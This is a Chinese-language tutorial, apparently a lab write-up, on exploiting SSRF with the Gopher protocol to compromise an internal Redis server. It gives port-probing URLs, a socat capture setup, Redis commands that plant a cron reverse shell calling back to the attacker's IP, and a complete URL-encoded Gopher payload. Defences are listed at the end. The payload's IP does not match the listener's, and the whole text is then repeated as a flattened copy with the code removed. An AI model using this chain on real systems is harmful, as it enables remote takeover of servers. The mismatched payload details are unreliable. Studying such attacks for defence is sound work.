Gopher协议在SSRF中的应用
字数 1503 2025-08-12 11:34:43

Gopher协议在SSRF攻击中的应用详解

1. Gopher协议概述

Gopher协议是一种早期的互联网通信协议,用于在IP网络中分发、搜索和检索文档。它具有以下特点:

  • 菜单驱动的用户界面设计
  • 被认为是万维网(WWW)的前身
  • 最终被HTTP协议取代而不再流行
  • 在现代网络环境中仍被部分编程语言和环境支持

2. Gopher协议格式规范

使用Gopher协议发起请求时需要注意以下格式要求:

  1. 发起POST请求时:

    • 回车换行需要使用%0d%0a代替
    • 请求结尾也要加上%0d%0a
  2. 参数处理:

    • 参数之间的&需要进行URL编码
    • 参数应以_开头,否则第一个字符会被吞掉

3. 支持Gopher协议的环境

以下编程语言和环境支持Gopher协议:

  • PHP:需启用--with-curlwrappers且PHP版本至少为5.3
  • Java:JDK版本小于1.7
  • Curl:低版本支持
  • Perl:支持
  • ASP.NET:版本小于3

4. Gopher协议在SSRF中的优势

Gopher协议在SSRF攻击中具有以下独特优势:

  1. 协议灵活性

    • 支持多种协议(FTP、Redis等)
    • 没有固定的数据包格式要求
  2. 数据纯净性

    • 传输的数据不含任何额外信息
    • 与HTTP相比,不会添加请求头等冗余数据
  3. 兼容性

    • 可直接与各种服务的原生协议交互
    • 特别适合攻击Redis、FTP等特定服务

5. 攻击实验:利用Gopher攻击内网Redis

5.1 实验环境

  • 目标:通过SSRF漏洞攻击内网Redis服务器获取shell
  • Redis版本:redis-stack-server-6.2.4-v2.rhel8.x86_64
  • 工具:
    • redis-cli:连接Redis服务器
    • nc:接收反弹shell
    • socat:代理转发流量

5.2 实验架构

外网攻击者 → 存在SSRF漏洞的边界主机(172.16.12.151) → 内网Redis服务器(172.16.12.136)

Redis服务器防火墙配置:

firewall-cmd --add-rich-rule='rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept'

5.3 攻击步骤

5.3.1 目标探测

  1. 验证SSRF漏洞存在:

    http://172.16.12.151:89/ssrf.php?url=www.baidu.com
    
  2. 使用dict协议探测内网端口:

    http://172.16.12.151:89/ssrf.php?url=dict://172.16.12.136:6379
    
  3. 通过Burp Intruder模块批量探测端口

5.3.2 本地捕获攻击流量

  1. 搭建本地Redis服务器(172.16.12.155)
  2. 使用socat进行流量代理:
    socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379
    
  3. 通过redis-cli连接本地代理:
    redis-cli -h localhost
    

5.3.3 构造Redis攻击命令

目标:通过Redis写入计划任务实现反弹shell

攻击命令序列:

flushall
set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"
config set dir /var/spool/cron
config set dbfilename root
save

5.3.4 流量捕获与处理

从socat捕获的原始流量需要进行以下处理:

  1. 去掉> <后的时间、长度等描述信息
  2. 替换换行符:
    • 如果该行只有\r,替换为%0a%0d%0a
    • 否则将\r替换为%0d%0a
  3. ?转码为%3f
  4. 去掉最后的换行符\n
  5. 空行替换为%0a

最终生成的Gopher payload示例:

*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

5.3.5 发起攻击

  1. 在攻击机(172.16.12.150)上开启监听:

    nc -lvnp 3333
    
  2. 通过SSRF发送Gopher请求:

    http://172.16.12.151:89/ssrf.php?url=gopher://172.16.12.136:6379/_<编码后的payload>
    

6. 防御措施

针对此类攻击,建议采取以下防御措施:

  1. 对SSRF漏洞:

    • 过滤或禁用危险协议(Gopher、dict等)
    • 实施严格的URL白名单机制
    • 禁用不必要的URL包装器
  2. 对Redis服务:

    • 升级到最新版本(新版本增加了防御机制)
    • 配置认证密码
    • 限制可访问IP
    • 禁用危险命令(如config)
  3. 系统层面:

    • 合理配置防火墙规则
    • 监控异常网络连接
    • 定期检查计划任务和cron目录

7. 扩展应用

Gopher协议还可用于攻击其他服务:

  1. FTP服务攻击
  2. SMTP服务攻击
  3. 其他基于文本协议的服务
  4. 写入Webshell等操作

通过灵活构造协议数据,Gopher可以成为SSRF攻击中强大的"协议隧道"。

Gopher协议在SSRF攻击中的应用详解 1. Gopher协议概述 Gopher协议是一种早期的互联网通信协议,用于在IP网络中分发、搜索和检索文档。它具有以下特点: 菜单驱动的用户界面设计 被认为是万维网(WWW)的前身 最终被HTTP协议取代而不再流行 在现代网络环境中仍被部分编程语言和环境支持 2. Gopher协议格式规范 使用Gopher协议发起请求时需要注意以下格式要求: 发起POST请求时: 回车换行需要使用 %0d%0a 代替 请求结尾也要加上 %0d%0a 参数处理: 参数之间的 & 需要进行URL编码 参数应以 _ 开头,否则第一个字符会被吞掉 3. 支持Gopher协议的环境 以下编程语言和环境支持Gopher协议: PHP:需启用 --with-curlwrappers 且PHP版本至少为5.3 Java:JDK版本小于1.7 Curl:低版本支持 Perl:支持 ASP.NET:版本小于3 4. Gopher协议在SSRF中的优势 Gopher协议在SSRF攻击中具有以下独特优势: 协议灵活性 : 支持多种协议(FTP、Redis等) 没有固定的数据包格式要求 数据纯净性 : 传输的数据不含任何额外信息 与HTTP相比,不会添加请求头等冗余数据 兼容性 : 可直接与各种服务的原生协议交互 特别适合攻击Redis、FTP等特定服务 5. 攻击实验:利用Gopher攻击内网Redis 5.1 实验环境 目标:通过SSRF漏洞攻击内网Redis服务器获取shell Redis版本:redis-stack-server-6.2.4-v2.rhel8.x86_ 64 工具: redis-cli:连接Redis服务器 nc:接收反弹shell socat:代理转发流量 5.2 实验架构 Redis服务器防火墙配置: 5.3 攻击步骤 5.3.1 目标探测 验证SSRF漏洞存在: 使用dict协议探测内网端口: 通过Burp Intruder模块批量探测端口 5.3.2 本地捕获攻击流量 搭建本地Redis服务器(172.16.12.155) 使用socat进行流量代理: 通过redis-cli连接本地代理: 5.3.3 构造Redis攻击命令 目标:通过Redis写入计划任务实现反弹shell 攻击命令序列: 5.3.4 流量捕获与处理 从socat捕获的原始流量需要进行以下处理: 去掉 > < 后的时间、长度等描述信息 替换换行符: 如果该行只有 \r ,替换为 %0a%0d%0a 否则将 \r 替换为 %0d%0a 将 ? 转码为 %3f 去掉最后的换行符 \n 空行替换为 %0a 最终生成的Gopher payload示例: 5.3.5 发起攻击 在攻击机(172.16.12.150)上开启监听: 通过SSRF发送Gopher请求: 6. 防御措施 针对此类攻击,建议采取以下防御措施: 对SSRF漏洞: 过滤或禁用危险协议(Gopher、dict等) 实施严格的URL白名单机制 禁用不必要的URL包装器 对Redis服务: 升级到最新版本(新版本增加了防御机制) 配置认证密码 限制可访问IP 禁用危险命令(如 config ) 系统层面: 合理配置防火墙规则 监控异常网络连接 定期检查计划任务和cron目录 7. 扩展应用 Gopher协议还可用于攻击其他服务: FTP服务攻击 SMTP服务攻击 其他基于文本协议的服务 写入Webshell等操作 通过灵活构造协议数据,Gopher可以成为SSRF攻击中强大的"协议隧道"。